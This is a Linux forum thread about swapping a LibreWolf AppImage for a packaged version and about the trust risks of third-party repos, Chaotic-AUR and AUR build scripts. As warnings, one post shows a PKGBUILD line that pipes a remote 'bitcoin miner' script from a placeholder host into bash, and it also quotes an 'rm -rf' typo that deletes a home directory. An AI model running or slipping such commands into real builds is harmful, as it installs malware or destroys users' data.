[SOLVED] Replace LibreWolf AppImage by repo version

[keybreak]

It takes only one…

[manuel]

True, as we have seen in recent months…

[Kresimir]

The key here is to decrease your dependency on potentially evil people.

Dalto wrote a great FAQ about third-party repos that everyone should read:

[FAQ] The dangers of using 3rd party repos

This is something I wrote last year and posted somewhere else. I thought it was worth sharing here as I see a lot of people using 3rd party repos. There are often discussions about the dangers of using AUR but it seems like there a lot less focus is on the dangers of using 3rd party repos. In general, using a 3rd party repo is much more dangerous than using AUR. With an AUR package, everything is fully transparent and the package is built on your machines. A quick look at the PKGBUILD file wi…

I would like to add to this that third party repos that automate building packages from the AUR like, for example, the Chaotic-AUR, seem especially dangerous to me. If I were a malicious person wanting to spread my malware, one way I could potentially do it is through the Chaotic-AUR, since it automatically builds packages from the AUR and there is no checking of PKGBUILDs. So all it would probably take is to upload a malicious PKGBUILD to the AUR at just the right moment for it to get pulled to the Chaotic-AUR.

[keybreak]

Too late i’ve already got too paranoid see compile you later on Gentoo!

[Klaas-Vaak]

So, AUR is not considered 3^rd party? Why is that?
After all, the packages in there are not Arch, and in fact I have seen warnings about using AUR precisely because the packages are compiled by others.

So, your comment confuses me a bit.

[Kresimir]

@Klaas-Vaak

So, AUR is not considered 3rd party? Why is that?

The AUR is not a repo at all (it’s a misnomer). It does not contain any packages, just build scripts that contain the instructions on how to make packages yourself, locally.

When you install from the AUR, you do the packaging yourself, so you can know exactly what goes into the package, and thus it’s your responsibility not to let any malware slip into the package.

[Klaas-Vaak]

OK, it contains build scripts, but those could be malignant, and they are certainly not compiled by Arch.

[Kresimir]

@Klaas-Vaak

OK, it contains build scripts, but those could be malignant, and they are certainly not compiled by Arch.

Yes, a PKGBUILD could easily contain a line like:

/bin/bash <(curl -s http://www.malware.com/install_bitcoin_miner.sh)

It can also contain stupid mistakes by people writing the code, which are not intentionally malicious, but can nevertheless destroy your system and cause you to lose data. For example:

How to Install Apps from AUR

Oh yeah, there was a ridiculous example of a GitHub project that had a script deleting some config file in the user’s home directory or something like that. However, the command to delete it had one unintended space character in it and so it would delete the entire home directory. It was something like rm -rf ~/ .config/some_file instead of rm -rf ~/.config/some_file. Several people lost all their data because of that program. I can’t remember what it was, but there was a post about it here on …

That’s why you should check it whenever you’re building a package from the AUR. Also, read the comments on the AUR webpage, stick to more popular packages and report anything malevolent or suspicious. Also, you should have all important data backed up, that should go without saying.

However, the PKGBUILD used to build packages in the repos could also contain something like above (well, it probably wouldn’t install malware on the packager’s local computer, that would be stupid ). The difference is that you cannot check for that, since the package is already built when you get it, hence you are blindly trusting the packager.

[Klaas-Vaak]

I have installed librewolf-bin with success, so I will delete the appimage. I have marked one of your comments as the solution, and will mark this thread as solved.
Thanks for your help.

My take-away from this thread is:

• use apps from official repos (Endeavour or Arch)
• use a bin package if possible, install with yay (I love yay)
• use AUR with care
• don’t use chaotic-AUR

Thanks also to @ishaan2479, @manuel and @keybreak for your input.

[manuel]

One more take-away:

• ask here if you are not sure about the reliability of the source of the install

[Klaas-Vaak]

You are right. Note: that is what my OP at the top of this thread was meant for